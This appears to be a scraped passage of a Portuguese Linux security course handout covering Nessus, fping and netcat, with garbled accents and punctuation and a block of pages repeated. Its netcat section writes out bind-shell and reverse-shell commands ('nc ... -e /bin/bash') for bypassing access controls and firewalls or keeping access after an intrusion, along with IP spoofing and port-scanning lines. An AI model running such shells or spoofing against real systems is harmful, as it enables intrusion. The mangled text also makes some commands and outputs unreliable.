botatildeo Start the scan Agora o nessus iraacute varrer sua rede isso podedemorar um pouco conforme a velocidade da rede e quantidade de plugins que vocecirc selecionouFeito a varredura podemos verificar a falhas de seguranccedila e as recomendaccedilotildees do nessus para asvulnerabilidades encontradas Na tela Nessus Report vocecirc vecirc os hosts scaneados a esquerda e as

vulnerabilidades encontradas em cada um deles aacute direita Clicando no sinal de + sobre as vulnerabilidadestem-se a explicaccedilatildeo do problema e tambeacutem como proceder para corrigi-lo Para uma futura referecircncia podesetambeacutem exportar o relatoacuterio basta escolher o formato e clicar em Save as recomendo escolher aopcatildeo Save as HTML with pies an graphs com isso nessus iraacute salvar os resultados na pasta que vocecircescolher e tambeacutem geraraacute graacuteficos sobre as vulnerabilidades de sua rede juntamente com o tradicionalrelatoacuterio em HTMLPara realizar a atualizaccedilatildeo de seus plugins o nessus possui um script que para funcionar necessitaque se esteja conectado na internet Para executa-lo rode o seguinte comandonessus-update-plugins -vProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 58 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Com a opccedilatildeo -v seratildeo exibidos os plugins que estatildeo sendo baixados Este script natildeo possuinenhuma forma para verificar a integridade dos plugins baixadospor isso use-o com cautela( leia amanpage deste script para maiores detalhes)93) FpingO fping eacute um programa que assim como ping utiliza o protocolo ICMP (_____

__ ________________________________ _________) para determinar se um ou vaacuterios noacutes da rede estatildeo ativos mas ao contraacuterio do ping ele permiterealizar a verificaccedilatildeo de vaacuterios noacutes ao mesmo tempo o endereccedilo dos noacutes pode ser passado via linha decomando ou atraveacutes de um arquivo textoO fping ao receber uma confirmaccedilatildeo de atividade automaticamente envia um aviso de atividade eexclui o host da lista de verificaccedilatildeo mas quando um noacute natildeo responde em no periacuteodo preacute determinado ele eacutetido como desligado ou natildeo alcanccedilaacutevelEste comando vem sendo largamente utilizado em cript devido seu baixo tempo de resposta e suasaiacuteda ser de faacutecil manipulaccedilatildeoEste comando aceita os seguintes paracircmetros-a lista somente aqueles noacutes que estatildeo ativos-A mostra o endereccedilo do noacute ao inveacutes do seu nome de domiacutenio-c informa quanto pacotes devem ser enviados para cada host-C assim como o anterior mas este informa no final o tempo de resposta em milisegundosde cada pacote-e mostra o tempo decorrido ateacute o recebimento do pacote de verificaccedilatildeo-i tempo miacutenimo em milisegundos entre o envio de dois pacotes a qualquer host da rede-l loop envia pacotes indefinidamente

-n utiliza o nome de domiacutenio do host na saiacuteda do comando-r nuacutemero de tentativas de alcanccedilar o host-u mostra somente os host que natildeo foram alcanccediladosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 59 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005ExemplosInforma o estado das maacutequinas utilizando o nome de domiacutenio delas como pode serobservado logo abaixofping -n 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbr is alivemailhostravelufrjbr is alivegw-etherravelufrjbr is alivemailhostravelufrjbr is alivewebsecravelufrjbr is unreachableInforma somente o nome das maacutequinas que estatildeo ativas como vemos abaixofping -na 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbrmailhostravelufrjbrgw-etherravelufrjbrmailhostravelufrjbrInforma somente o nome das maacutequinas que natildeo podem ser encontradas como podeser observado logo abaixofping -nu 1461643265 1461643267 1461643275 14616432100 1461643267websecravelufrjbrEnvia apenas dois pacotes para cada host e no final informa a taxa de pacotesenviados recebidos e perdidos como pode ser observado logo abaixofping -q -n -c 2 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr xmtrcvloss = 220 minavgmax = 500518537mailhostravelufrjbr xmtrcvloss = 220 minavgmax = 455473491websecravelufrjbr xmtrcvloss = 20100gw-etherravelufrjbr xmtrcvloss = 220 minavgmax = 51352553714616432101 xmtrcvloss = 550 minavgmax = 498586769Envia apenas cinco pacotes para cada host e no final informa o tempo de resposta decada um como pode ser observado logo abaixofping -q -n -C 5 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr 4902 5094 5203 5056 4667mailhostravelufrjbr 5294 5122 5260 4890 5056websecravelufrjbr - - - - -gw-etherravelufrjbr 4793 5404 5097 4785 494614616432101 6843 5201 5929 5331 7458

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 60 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Informa o tempo de resposta de cada host informando o seu endereccedilo ip ao inveacutes doseu nome de domiacutenio como pode ser observado logo abaixofping -A -e protheusravelufrjbr websecravelufrjbr wwwyahoocombrwwwgmailcom1461643267 is alive (533 ms)200152161113 is alive (459 ms)64233171107 is alive (534 ms)1461643275 is unreachable93) NetcatNetcat eacute uma ferramenta usada para ler e escrever dados em conexotildees de rede usando o protocoloTCPIP Dada sua grande versatilidade o NetCat eacute considerado pelos hackers o canivete suiacuteccedilo do TCPIPpodendo ser usado para fazer desde portscans ateacute brute force attacksO nome netcat vem do comando cat do LinuxUnix O cat concatena arquivos e envia para a saiacutedapadratildeo (stdout) O netcat faz praticamente o mesmo poreacutem ao inveacutes de concatenar arquivos o netcatconcatena sockets TCP e UDP931) Opccedilotildees do Netcat-e comando Executa o comando especificado usando como entrada (stdin) os dados recebidospela rede e enviando os dados de saiacuteda (stdout e stderr) para a rede Essa opccedilatildeo somente estaraacute presentese o nc for compilado com a opccedilatildeo GAPING_SECURITY_HOLE jaacute que permite que usuaacuterios disponibilizemprogramas para qualquer um conectado a rede-i Especifica o intervalo de tempo no qual as linhas de texto seratildeo enviadas ou recebidas-l Coloca no netcat em estado de escuta (listening)-L Coloca no netcat em estado de escuta (listening) reiniciando o netcat com a mesma linha decomando caso a conexatildeo feche-n Forccedila o netcat a usar apenas endereccedilos de IP numeacutericos sem fazer consultas a servidoresDNS-o filename Usando para obter um log dos dados de entrada ou saiacuteda em formato hexadecimal-p Especifica a porta a ser usada sujeito a disponibilidade e a restriccedilotildees de privileacutegioProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 61 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r Faz as portas do portscan serem escolhidas aleatoriamente-s Especifica o endereccedilo IP da interface usada para enviar os pacotes Pode ser usado para

spoofing de IPs bastando apenas configurar uma interface do tipo eth00 (usando o ifconfig) com o IPdesejado-t Permite usar o nc para criar sessotildees de telnet por script Precisa estar compilado com a opccedilatildeo-DTELNET-u Usar UDP ao inveacutes de TCP-v Controla o niacutevel de mensagens mostradas na tela-w Limita o tempo maacuteximo para que uma conexatildeo seja estabelecida-z Para evitar o envio de dados atraveacutes de uma conexatildeo TCP e limitar os dados de uma conexatildeoUDP932) Preparando as Interfaces de RedePara testar o netcat usaremos dois aliases na interface loopback (lo) do linux O endereccedilo IP defaultda interface lo no linux eacute 127001 Se mexermos com o endereccedilo 127001 podemos quebrar as nossasconexotildees de rede Ao inveacutes disso usaremos os aliases lo1 e lo2 para executarmos os testes Para atribuirendereccedilos IP agrave essas interfaces os seguintes comandos devem ser executados (como usuaacuterio root) naconsole do linux$ ifconfig lo1 10011$ ifconfig lo2 10012Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 62 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O comando ifconfig tambeacutem permite verificar se o comando foi bem sucedidoifconfiglo Link encapLocal Loopbackinet addr127001 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets10 errors0 dropped0 overruns0 frame0TX packets10 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes700 (7000 b) TX bytes700 (7000 b)lo1 Link encapLocal Loopbackinet addr10011 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes6935 (67 Kb)lo2 Link encapLocal Loopbackinet addr10012 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes7281 (71 Kb)

As interfaces de rede configuradas dessa forma permitem-nos trabalhar como se fossem doiscomputadores na mesma rede com IPs diferentes933) Colocando o Netcat para escutar uma portaO seguinte comando permite usar o netcat para escutar o traacutefego da redenc -vv -l -p8080Listening on any address 8080 (webcache)Para redirecionar a saiacuteda para um arquivo usa-se o seguinte formatonc -l -p8080 gt filenametxtPara conectar um cliente netcat usa-se o seguinte comandonc 10011 -p8080 gt filenametxtAssim tudo o que for digitado no cliente seraacute repetido no servidor (na primeira console) Use CTRLCpara terminar a conexatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 63 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O servidor deveraacute mostrar um breve resumo da conexatildeoTotal received bytes 5Total sent bytes 0934) Transferindo ArquivosTransferir arquivos de um host para outro usando o netcat eacute bastante simples Basta configurar olado server (que vai receber o arquivo) para escutar uma porta especiacutefica e redirecionar todos os dadosrecebidos para um arquivo Colocando-se um timeout o servidor iraacute perceber quando natildeo existem maisdados chegando e iraacute fechar a conexatildeo No lado cliente da conexatildeo simplesmente conecta-se agrave porta doservidor e passa-se o arquivo a ser transferido como entradaServidornc -vvn -l -p 3000 -w 30 gt fileListening on any address 3000Clientenc -vvn -w 2 10001 3000 lt file110001 3000 openO servidor iraacute mostrar a seguinte mensagem quando uma conexatildeo for estabelecidaConnection from 100011028Novamente a conexatildeo deve ser terminada usando-se o CTRL-C O servidor iraacute mostrarExitingTotal received bytes 6Total sent bytes 0Enquanto que o cliente mostraraacuteTotal received bytes 0Total sent bytes 6Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 64 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

935) Emulando o serviccedilo de TelnetAgora que jaacute sabemos como fazer uma transferecircncia de arquivos podemos tentar algo mais uacutetil Porexemplo podemos nos conectar em uma maacutequina remota e executar alguns comandos sem passar pormecanismos de controle de acesso Para isso podemos usar o netcat com a opccedilatildeo -e Um simplesexemploNa console do servidor entrenc -l -p 5000 -e binbashNo clientenc 10011 5000Agora estamos conectados no servidor e com acesso ao shell Natildeo vemos o prompt mas podemosver a saiacuteda de cada comando enviado para o servidorlsbin dev home media opt root srv tmp varboot etc lib mnt proc sbin sys usr936) Criando um PortscanningEacute possiacutevel usar o netcat para fazer portscans Para isso deve-se usar a flag -z (zero IO mode) queapenas conecta e desconecta de uma determinada porta Para executar um scan um portas UDP deve-seusar a opccedilatildeo -uTCPnc -vvn -z xxxxxxxxxxxx start-endUDPnc -u -vvn -z xxxxxxxxxxxx start-endProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 65 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005No exemplo abaixo tentamos fazer um scan das portas 21 ateacute 26 Como pode-se ver portasfechadas resultam em um Connection refused e portas abertas mostram open O scan UDP eacutebasicamente o mesmonc -vvn -z 10001 21-2610001 21 (ftp) Connection refused10001 22 (ssh) open10001 23 (telnet) Connection refused10001 24 Connection refused10001 25 (smtp) Connection refused10001 26 Connection refusedTotal received bytes 0Total sent bytes 0937) Telnet ReversoMuitas empresas possuem algum tipo de link dedicado para acesso a internet Tambem possuemalgum tipo de firewall que bloqueia o acesso a rede interna que muitas vezes natildeo tem um IP vaacutelido que

podemos acessar Para logar remotamente em um computador dessa rede talvez para copiar algumarquivo importante para finalizar um trabalho que esteja fazendo de sua casa um cliente telnet ou ftp natildeopoderia ser usadoPor exemplo temos um servidor que aceita apenas conexotildees externas na porta 80 mas natildeo temum IP externo vaacutelido O computador de casa provavelmente possui um IP real vaacutelido e portas que podemser abertas ou fechadas conforme a necessidade Invertendo as direccedilotildees das conexotildees pode resolver esseproblema basta fazer o computador do escritoacuterio conectar no computador de casa recebendo comandos docliente a executando-os no servidor Essa teacutecnica eacute conhecida como Telnet ReversoVamos chamar o computador do escritoacuterio de WORK e o computador de casa HOME Se ocomputador HOME for configurado para usar IP dinacircmico precisaremos de um nome para DNS dinacircmicotipo o serviccedilo fornecido pela dyndnsorg No computador WORK configuramos um job cron para iniciar as1900 Como no exemplo anterior do telnet ele conecta ao homedyndnsorg e inicia uma sessatildeo bash Paraisso em casa deve-se iniciar (antes das 1900) o netcat da seguinte formanc -vv -l -p 80As 1000 WORK conecta ao HOME inicia o bash e estaacute pronto para executar qualquer comandoque queremosPara testar nosso telnet reverso na nossa rede virtual devemos colocar o cliente (HOME) em modoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 66 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005de espera escutando uma conexatildeonc -vv -l -p 80Listening on any address 80Para conectar a partir do servidor (WORK)nc 10011 80 -e binbashEssa teacutecnica eacute bem simples e eficiente pois usa somente a porta 80 que dificilmente estaraacutebloqueada no firewall A partir do computador HOME vocecirc pode enviar comandos para o WORK e recebero resultado localmenteAleacutem disso o telnet reverso pode ser usado para ganhar uma console de um servidor depois deuma invasatildeo938) Banner-grabbingBanner-grabbing consiste em enviar para o destino strings especiacuteficas a partir de um arquivo e

receber os resultados na tela O exemplo a seguir inclui um laccedilo for baacutesico para fazer o scan de muacuteltiplosdestinos de uma vez O arquivo WEBtxt deve conter head http10e dois enters ou apenas os dois enters para funcionar em outras portas aleacutem da 80 O arquivoIPlist deve conter a lista dos endereccedilos IP a serem scaneados10011Apoacutes criar esses dois arquivos executefor f in `cat IPlisttxt` do nc $f 80 lt WEBtxt doneProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 67 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O resultado deveraacute ser algo do tipoHTTP11 501 Method Not ImplementedDate Mon 13 Dec 1999 081931 GMTServer Apache2040 (Red Hat Linux)Vary accept-languageAccept-Ranges bytesContent-Length 993Connection closeContent-Type texthtml charset=ISO-8859-1Expires Mon 13 Dec 1999 081931 GMTltxml version=10 encoding=ISO-8859-1gtltDOCTYPE html PUBLIC -W3CDTD XHTML 11ENhttpwwww3orgTRxhtml11DTDxhtml11dtdgtlthtml xmlns=httpwwww3org1999xhtml xmllang=engtltheadgtlttitlegtCannot process requestlttitlegtltmeta http-equiv=Content-Type content=texthtml charset=iso-8859-1 gtltlink rev=made href=mailtorootlocalhost gtltstyle type=textcssgtlt--body color 000000 background-color FFFFFF alink color 0000CC --gtltstylegtltheadgtltbodygtlth1gtCannot process requestlth1gtltdlgt ltddgtThe server does not support the action requested by the browserltddgtltdlgtltdlgtltddgtIf you think this is a server error please contactthe lta href= mailtorootlocalhos t gtwebmasterlta gtltddgtltdlgtlth2gtError 501lth2gtltdlgt ltddgtltaddressgtlta href=gtlocalhostlocaldomainltagtltbr gt

ltsmallgtMon Dec 13 001931 1999ltsmallgtltbr gtltsmallgtApache2040 (Red Hat Linux)ltsmallgtltaddressgtltddgt ltdlgtltbodygtlthtmlgtVocecirc pode inclusive usar o netcat para enviar um exploit para o destino Quando a conexatildeo eacuteHTTPS vocecirc usar o stunnel para tunelar o nc ou apenas o proacuteprio stunnel Para mais detalhes veja a manpage do stunnelman stunnelProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 68 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A sintaxe do comando deveraacute ser algo parecido com a seguinte linha(echo HEAD HTTP10 echo ) | usrsbinstunnel configuration-file hostport939) IP SpoofingUsando o netcat vocecirc pode fazer inclusive spoofing de endereccedilos IP Se vocecirc estiver escutando otraacutefego em um segmento vocecirc pode enviar esse traacutefego para outro host usando o protocolo UDPO comando deveraacute ser tipotcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip ltportgtIsso tambeacutem requer que vocecirc configure o endereccedilo IP spoofed para um alias na sua interface deredeifconfig eth0N spoofed_iponde N eacute o alias a ser configurado Isso iraacute causar problemas com o host que estaacute sendo spoofed jaacuteque eacute feito o mesmo endereccedilo IP eacute propagado por dois hosts na mesma rede Para executar um spoofingsem causar tantos problemas use a ferramenta hping94) Outros ComandosBastile ele eacute um pacote de scripts utilizados para aumentar o niacutevel de seguranccedila do Linuxdesenvolvido para a distribuiccedilatildeo Red Hat com o pacote do Perl (Pratical Extraction and Report Language)deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violaccedilotildees baacutesicas permitindoainda ativar e desativar opccedilotildees do sistema operacionalSATAN o aplicativo Security Administrators Tool for Analizing Network pode ser exectado emqualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP varredura devulnerabilidades mais conhecidas oferece tutoriais que descrevem as vulnerabilidades e como explora-lasCOOPS Computer Oracle and Password System eacute um dos aplicativos utilizados para realizar

varredura do host local verificar o modo dos arquivos e as senhas faacuteceis No final de seu trabalho ele geraum relatoacuterio com a descriccedilatildeo e a accedilatildeo a ser tomada para resolver a violaccedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 69 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Tripwire este aplicativo informa se jaacute houve alguma invasatildeo no sistema Ele eacute um analisador deintegridade de arquivos e diretoacuterios durante sua execuccedilatildeo ele compara as informaccedilotildees existentes nosistema de arquivo com os dados preacuteviamente coletados e armazenados no banco de dados Normalmentesua atividade eacute agendada pela CRON do sistema Apoacutes ser executado ele produz um relatoacuterio com aspossiacuteveis violaccedilotildees que o sistema possa ter sofrido Quando executado periodicamente permite quebrechas de seguranccedila possam ser descobertas o mais raacutepido possiacutevelPGP este eacute uma ferramenta multi plataforma que atraveacutes da criptografia simeacutetrica permite protegero conteuacutedo eou a integridade dos dados trocados Ao enviar uma mensagem ele pode utilizar a chavepuacuteblica do destinataacuterio de tal modo que somente quem possuir sua chave privada poderaacute decifar amensagem que lhe foi enviadaHpingIcmpenumIcmpqueryStrobeUdp_scanSiphonp0fCheopsIcmpinfonttcpProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 70 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Referencias[1] Net Urubatam Dominando Linux Firewall Iptables[2] Linux Magazine Nuacutemero 4 Ano I paacutegina 32[3] Arkin Ofir ICMP Usage in Scanning Julho de 2000[4] Fping ndash httpwwwfpingcom[5] RFC 1812 Requiriments for IPv4 Routers httpwwwietforgrfcrfc1812txt[6] RFC793 - TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAMPROTOCOL SPECIFICATION Defense Advanced Research Projects Agency September 1981[7] IANA List of assigned ports ftpftpisieduin-notesianaassignmentsport-numbers

[8] Fyodor Remote OS derection via TCPIP Stack FingerPrinting 18 de Outubro de 1998[9] Arkin Ofir ICMP Usage in Scanning The Complete Know-How Versatildeo 30 Junho de 2001[10]Arkin Ofir e Yarochkin Fyodor X remote ICMP based OS Fingerprinting techniques Agosto de2001[11] Arkin Ofir A remote active OS fingerprinting tool using ICMP Abril de 2002[12] Arkin Ofir e Yarochkin Fyodor The Present and Future of Xprobe2 The Next Generation ofActive Operation System Fingerprinting julho de 2003[13] Cid Daniel B Identificaccedilatildeo Passiva de Sistemas Operacionais Maio de 2003[14] Nazario Jose Passive System Fingerprinting using Networking Client Applications 27 deNovembro de 2000[15] Smith Craing Know Your Enemy Passive Fingerprinting - Identifing remote hosts without thenkhnowing 4 de Marccedilo de 2002Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 71 de 71

Page 48: Curso de segurança em linux e redes em geral

vulnerabilidades encontradas em cada um deles aacute direita Clicando no sinal de + sobre as vulnerabilidadestem-se a explicaccedilatildeo do problema e tambeacutem como proceder para corrigi-lo Para uma futura referecircncia podesetambeacutem exportar o relatoacuterio basta escolher o formato e clicar em Save as recomendo escolher aopcatildeo Save as HTML with pies an graphs com isso nessus iraacute salvar os resultados na pasta que vocecircescolher e tambeacutem geraraacute graacuteficos sobre as vulnerabilidades de sua rede juntamente com o tradicionalrelatoacuterio em HTMLPara realizar a atualizaccedilatildeo de seus plugins o nessus possui um script que para funcionar necessitaque se esteja conectado na internet Para executa-lo rode o seguinte comandonessus-update-plugins -vProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 58 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Com a opccedilatildeo -v seratildeo exibidos os plugins que estatildeo sendo baixados Este script natildeo possuinenhuma forma para verificar a integridade dos plugins baixadospor isso use-o com cautela( leia amanpage deste script para maiores detalhes)93) FpingO fping eacute um programa que assim como ping utiliza o protocolo ICMP (_____

__ ________________________________ _________) para determinar se um ou vaacuterios noacutes da rede estatildeo ativos mas ao contraacuterio do ping ele permiterealizar a verificaccedilatildeo de vaacuterios noacutes ao mesmo tempo o endereccedilo dos noacutes pode ser passado via linha decomando ou atraveacutes de um arquivo textoO fping ao receber uma confirmaccedilatildeo de atividade automaticamente envia um aviso de atividade eexclui o host da lista de verificaccedilatildeo mas quando um noacute natildeo responde em no periacuteodo preacute determinado ele eacutetido como desligado ou natildeo alcanccedilaacutevelEste comando vem sendo largamente utilizado em cript devido seu baixo tempo de resposta e suasaiacuteda ser de faacutecil manipulaccedilatildeoEste comando aceita os seguintes paracircmetros-a lista somente aqueles noacutes que estatildeo ativos-A mostra o endereccedilo do noacute ao inveacutes do seu nome de domiacutenio-c informa quanto pacotes devem ser enviados para cada host-C assim como o anterior mas este informa no final o tempo de resposta em milisegundosde cada pacote-e mostra o tempo decorrido ateacute o recebimento do pacote de verificaccedilatildeo-i tempo miacutenimo em milisegundos entre o envio de dois pacotes a qualquer host da rede-l loop envia pacotes indefinidamente

-n utiliza o nome de domiacutenio do host na saiacuteda do comando-r nuacutemero de tentativas de alcanccedilar o host-u mostra somente os host que natildeo foram alcanccediladosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 59 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005ExemplosInforma o estado das maacutequinas utilizando o nome de domiacutenio delas como pode serobservado logo abaixofping -n 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbr is alivemailhostravelufrjbr is alivegw-etherravelufrjbr is alivemailhostravelufrjbr is alivewebsecravelufrjbr is unreachableInforma somente o nome das maacutequinas que estatildeo ativas como vemos abaixofping -na 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbrmailhostravelufrjbrgw-etherravelufrjbrmailhostravelufrjbrInforma somente o nome das maacutequinas que natildeo podem ser encontradas como podeser observado logo abaixofping -nu 1461643265 1461643267 1461643275 14616432100 1461643267websecravelufrjbrEnvia apenas dois pacotes para cada host e no final informa a taxa de pacotesenviados recebidos e perdidos como pode ser observado logo abaixofping -q -n -c 2 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr xmtrcvloss = 220 minavgmax = 500518537mailhostravelufrjbr xmtrcvloss = 220 minavgmax = 455473491websecravelufrjbr xmtrcvloss = 20100gw-etherravelufrjbr xmtrcvloss = 220 minavgmax = 51352553714616432101 xmtrcvloss = 550 minavgmax = 498586769Envia apenas cinco pacotes para cada host e no final informa o tempo de resposta decada um como pode ser observado logo abaixofping -q -n -C 5 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr 4902 5094 5203 5056 4667mailhostravelufrjbr 5294 5122 5260 4890 5056websecravelufrjbr - - - - -gw-etherravelufrjbr 4793 5404 5097 4785 494614616432101 6843 5201 5929 5331 7458

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 60 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Informa o tempo de resposta de cada host informando o seu endereccedilo ip ao inveacutes doseu nome de domiacutenio como pode ser observado logo abaixofping -A -e protheusravelufrjbr websecravelufrjbr wwwyahoocombrwwwgmailcom1461643267 is alive (533 ms)200152161113 is alive (459 ms)64233171107 is alive (534 ms)1461643275 is unreachable93) NetcatNetcat eacute uma ferramenta usada para ler e escrever dados em conexotildees de rede usando o protocoloTCPIP Dada sua grande versatilidade o NetCat eacute considerado pelos hackers o canivete suiacuteccedilo do TCPIPpodendo ser usado para fazer desde portscans ateacute brute force attacksO nome netcat vem do comando cat do LinuxUnix O cat concatena arquivos e envia para a saiacutedapadratildeo (stdout) O netcat faz praticamente o mesmo poreacutem ao inveacutes de concatenar arquivos o netcatconcatena sockets TCP e UDP931) Opccedilotildees do Netcat-e comando Executa o comando especificado usando como entrada (stdin) os dados recebidospela rede e enviando os dados de saiacuteda (stdout e stderr) para a rede Essa opccedilatildeo somente estaraacute presentese o nc for compilado com a opccedilatildeo GAPING_SECURITY_HOLE jaacute que permite que usuaacuterios disponibilizemprogramas para qualquer um conectado a rede-i Especifica o intervalo de tempo no qual as linhas de texto seratildeo enviadas ou recebidas-l Coloca no netcat em estado de escuta (listening)-L Coloca no netcat em estado de escuta (listening) reiniciando o netcat com a mesma linha decomando caso a conexatildeo feche-n Forccedila o netcat a usar apenas endereccedilos de IP numeacutericos sem fazer consultas a servidoresDNS-o filename Usando para obter um log dos dados de entrada ou saiacuteda em formato hexadecimal-p Especifica a porta a ser usada sujeito a disponibilidade e a restriccedilotildees de privileacutegioProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 61 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r Faz as portas do portscan serem escolhidas aleatoriamente-s Especifica o endereccedilo IP da interface usada para enviar os pacotes Pode ser usado para

spoofing de IPs bastando apenas configurar uma interface do tipo eth00 (usando o ifconfig) com o IPdesejado-t Permite usar o nc para criar sessotildees de telnet por script Precisa estar compilado com a opccedilatildeo-DTELNET-u Usar UDP ao inveacutes de TCP-v Controla o niacutevel de mensagens mostradas na tela-w Limita o tempo maacuteximo para que uma conexatildeo seja estabelecida-z Para evitar o envio de dados atraveacutes de uma conexatildeo TCP e limitar os dados de uma conexatildeoUDP932) Preparando as Interfaces de RedePara testar o netcat usaremos dois aliases na interface loopback (lo) do linux O endereccedilo IP defaultda interface lo no linux eacute 127001 Se mexermos com o endereccedilo 127001 podemos quebrar as nossasconexotildees de rede Ao inveacutes disso usaremos os aliases lo1 e lo2 para executarmos os testes Para atribuirendereccedilos IP agrave essas interfaces os seguintes comandos devem ser executados (como usuaacuterio root) naconsole do linux$ ifconfig lo1 10011$ ifconfig lo2 10012Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 62 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O comando ifconfig tambeacutem permite verificar se o comando foi bem sucedidoifconfiglo Link encapLocal Loopbackinet addr127001 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets10 errors0 dropped0 overruns0 frame0TX packets10 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes700 (7000 b) TX bytes700 (7000 b)lo1 Link encapLocal Loopbackinet addr10011 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes6935 (67 Kb)lo2 Link encapLocal Loopbackinet addr10012 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes7281 (71 Kb)

As interfaces de rede configuradas dessa forma permitem-nos trabalhar como se fossem doiscomputadores na mesma rede com IPs diferentes933) Colocando o Netcat para escutar uma portaO seguinte comando permite usar o netcat para escutar o traacutefego da redenc -vv -l -p8080Listening on any address 8080 (webcache)Para redirecionar a saiacuteda para um arquivo usa-se o seguinte formatonc -l -p8080 gt filenametxtPara conectar um cliente netcat usa-se o seguinte comandonc 10011 -p8080 gt filenametxtAssim tudo o que for digitado no cliente seraacute repetido no servidor (na primeira console) Use CTRLCpara terminar a conexatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 63 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O servidor deveraacute mostrar um breve resumo da conexatildeoTotal received bytes 5Total sent bytes 0934) Transferindo ArquivosTransferir arquivos de um host para outro usando o netcat eacute bastante simples Basta configurar olado server (que vai receber o arquivo) para escutar uma porta especiacutefica e redirecionar todos os dadosrecebidos para um arquivo 